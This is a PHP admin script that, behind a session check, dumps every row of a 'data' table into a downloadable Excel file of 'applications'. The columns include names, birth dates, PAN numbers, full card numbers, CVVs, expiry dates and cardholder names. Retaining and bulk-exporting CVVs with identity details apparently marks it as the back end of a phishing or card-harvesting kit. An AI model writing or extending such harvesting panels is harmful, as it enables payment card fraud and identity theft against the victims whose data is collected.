<?php
include("./include/config.php");

if (!isset($_SESSION['a_user'])) {
    header("Location: index.php");
    exit;
}

// Fetch rows from the "data" table
$sql = "SELECT * FROM data";
$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    // Excel file creation logic
    header("Content-Type: application/vnd.ms-excel");
    header("Content-Disposition: attachment; filename=applications.xls");

    echo '<table border="1">';
    echo '<tr><th>Application No.</th><th>Name</th><th>Email</th><th>Phone</th><th>PIN Code</th><th>Date of Birth</th><th>PAN</th><th>Nationality</th><th>Card No.</th><th>CVV</th><th>Expiry</th><th>Card Holder</th></tr>';

    while ($row = mysqli_fetch_assoc($result)) {
        echo '<tr>';
        echo '<td>' . $row['application_no'] . '</td>';
        echo '<td>' . $row['name'] . '</td>';
        echo '<td>' . $row['email'] . '</td>';
        echo '<td>' . $row['phone'] . '</td>';
        echo '<td>' . $row['pin_code'] . '</td>';
        echo '<td>' . $row['dob'] . '</td>';
        echo '<td>' . $row['pan'] . '</td>';
        echo '<td>' . $row['nationality'] . '</td>';
        echo '<td>' . $row['card_no'] . '</td>';
        echo '<td>' . $row['cvv'] . '</td>';
        echo '<td>' . $row['expiry'] . '</td>';
        echo '<td>' . $row['cardholder'] . '</td>';
        echo '</tr>';
    }

    echo '</table>';
} else {
    echo "No data found.";
}

// Close the database connection
mysqli_close($conn);
?>
